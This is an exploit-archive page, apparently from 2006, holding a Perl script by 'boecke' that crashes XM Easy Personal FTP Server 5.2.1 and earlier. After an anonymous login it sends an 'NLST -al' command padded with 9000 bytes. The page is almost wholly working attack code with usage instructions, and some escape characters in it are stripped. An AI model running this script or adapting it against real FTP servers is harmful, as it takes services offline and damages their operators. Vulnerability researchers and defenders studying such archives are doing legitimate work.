[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : XM Easy Personal FTP Server <= 5.2.1 Remote Denial of Service Exploit
# Published : 2006-11-04
# Author : boecke
# Previous Title : OpenLDAP 2.2.29 Remote Denial of Service Exploit (meta)
# Next Title : Essentia Web Server 2.15 (GET Request) Remote DoS Exploit
#!/usr/bin/perl
#
# *
# * Title: XM Easy Personal FTP Server <= 5.2.1 'NLST -al' Remote Denial of Service
# * Author: boecke
# * Discovery: boecke
# * Vulnerability Type: Remote Denial of Service
# * Risk: Low Risk (Requires valid
# * Software Affected: XM Easy Personal FTP Server <= 5.2.1
# * Greetings: henrik, str0ke!
# *
#
use IO::Socket;
$commandToSend = "NLST -al ";
$remoteUsername = "anonymous";
$remotePassword = "borat@kik.com";
$remotePort = $ARGV[1];
sub bannerExploit()
{
print "n x XM Easy Personal FTP Server <= v5.2.1 Remote Denial of Servicen";
print " x Author: boecken x Discovery: boecke (boecke [at] herzeleid [dot] net)nn";
}
if ( @ARGV < 2 )
{
bannerExploit();
print " * Usage: perl ftp.pl 192.168.0.1 21nn";
exit;
}
if ($socket = IO::Socket::INET->new( PeerAddr => $ARGV[0], PeerPort => $remotePort, Proto => "TCP" ))
{
bannerExploit();
print " + Establishing connection at " . $ARGV[0] . ":" . $remotePort . "n";
print $socket "USER " . $remoteUsername . "rn";
print " * FTP Username: '" . $remoteUsername . "'n";
sleep( 1 );
print $socket "PASS " . $remotePassword . "rn";
print " * FTP Password: '" . $remotePassword . "'n";
print $socket $commandToSend . "A" x 9000 . "rn";
sleep( 3 );
print $socket "QUITrn";
print " + Sent 9000 bytes of data to $ARGV[0]:$remotePortnn";
}
else
{
bannerExploit();
print " + Failed to establish connection to " . $ARGV[0] . ":" . $remotePort . "n";
}
# www.Syue.com [2006-11-04]